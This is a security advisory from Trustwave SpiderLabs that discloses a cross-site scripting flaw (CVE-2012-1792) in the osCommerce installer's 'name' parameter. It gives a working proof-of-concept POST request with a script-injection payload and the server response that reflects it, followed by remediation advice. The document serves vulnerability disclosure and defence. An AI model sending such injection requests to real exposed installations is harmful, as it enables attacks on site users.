Trustwave's SpiderLabs Security Advisory TWSL2012-005:
Cross-Site Scripting Vulnerability in osCommerce

Published: 03/23/12 
Version: 1.0

Vendor: osCommerce (http://oscommerce.com/)
Product: osCommerce

Version affected: v3.0.2 and prior versions

Product description:
osCommerce is an e-commerce solution that is available for free as an
Open Source based solution released under the GNU General Public License.

Credit: Jonathan Claudius of Trustwave SpiderLabs

Finding 1: Cross-Site Scripting Vulnerabilities in "name" parameter in
'index.php' page

CVE: CVE-2012-1792

After extracting the osCommerce source files on to a web server, but before
the application is fully installed, cross-site scripting vulnerabilities are
present in the root 'index.php' page.

Example:

Performing XSS on "name" parameter

#Request

POST /oscommerce/index.php?RPC&Setup&Install&DBCheck HTTP/1.1
Host: A.B.C.D
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0.1) Gecko/20100101 Firefox/9.0.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://A.B.C.D/oscommerce/index.php?Install
Content-Length: 97
Cookie: Setup[language]=en_US; 9d4bb4a09f511681369671a08beff228=tomvi1uuhul0m676ha8and9fn6
Pragma: no-cache
Cache-Control: no-cache

server=&username=&password=&name=%3Cscript%3Ealert(123)%3C%2Fscript%3E&port=&class=MySQL_Standard

#Response

HTTP/1.1 200 OK
Date: Wed, 18 Jan 2012 20:56:07 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Cache-Control: no-cache, must-revalidate
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Length: 138
Connection: close
Content-Type: text/html; charset=utf-8

{"result":false,"error_message":"SQLSTATE[42000] [1044] Access denied for user ''@'localhost' to database '<script>alert(123)<\/script>'"}


Vendor Response:
The vendor did not respond regarding this security issue. Trustwave
SpiderLabs urges caution in situations where the osCommerce installation
script is provided as part of a default image.  This is often done as a
convenience on hosting providers, even in cases where the client does not
use the software. It is a best practice to ensure that no installation
scripts are exposed to outsiders, and these vulnerabilities reinforce the
importance of this step.


Remediation Steps:
No official fix is available.  However, administrators can mitigate these
issues by removing the installation scripts after setup and defining rules
within a web application firewall (WAF) solution. ModSecurity
(http://www.modsecurity.org/) has added rules to the commercial rules feed
for these issues, and Trustwave's vulnerability scanning solution,
TrustKeeper, has been updated to detect exposed installation scripts.


References
1. http://oscommerce.com/

Vendor Communication Timeline:
02/20/12 - Vulnerability disclosed to vendor
03/23/12 - Advisory published

About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based
information security and payment card industry compliance management
solutions to businesses and government entities throughout the world. For
organizations faced with today's challenging data security and compliance
environment, Trustwave provides a unique approach with comprehensive
solutions that include its flagship TrustKeeper compliance management
software and other proprietary security solutions. Trustwave has helped
thousands of organizations--ranging from Fortune 500 businesses and large
financial institutions to small and medium-sized retailers--manage
compliance and secure their network infrastructure, data communications and
critical information assets. Trustwave is headquartered in Chicago with
offices throughout North America, South America, Europe, Africa, China and
Australia. For more information, visit https://www.trustwave.com

About Trustwave's SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

Disclaimer:
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particular purpose. In no event shall Trustwave or its suppliers be liable
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